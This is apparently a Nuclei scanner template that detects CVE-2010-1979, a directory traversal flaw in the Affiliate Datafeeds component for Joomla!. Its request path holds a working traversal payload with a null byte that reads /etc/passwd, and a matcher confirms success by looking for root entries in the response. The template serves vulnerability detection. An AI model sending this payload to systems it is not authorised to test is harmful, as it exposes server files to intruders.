id: CVE-2010-1979

info:
  name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  reference:
    - https://www.exploit-db.com/exploits/12088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1979
    - http://web.archive.org/web/20140724185517/http://secunia.com/advisories/39360/
    - http://www.exploit-db.com/exploits/12088
  remediation: Upgrade to a supported version.
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1979
    cwe-id: CWE-22
  tags: edb,cve,cve2010,joomla,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/02/17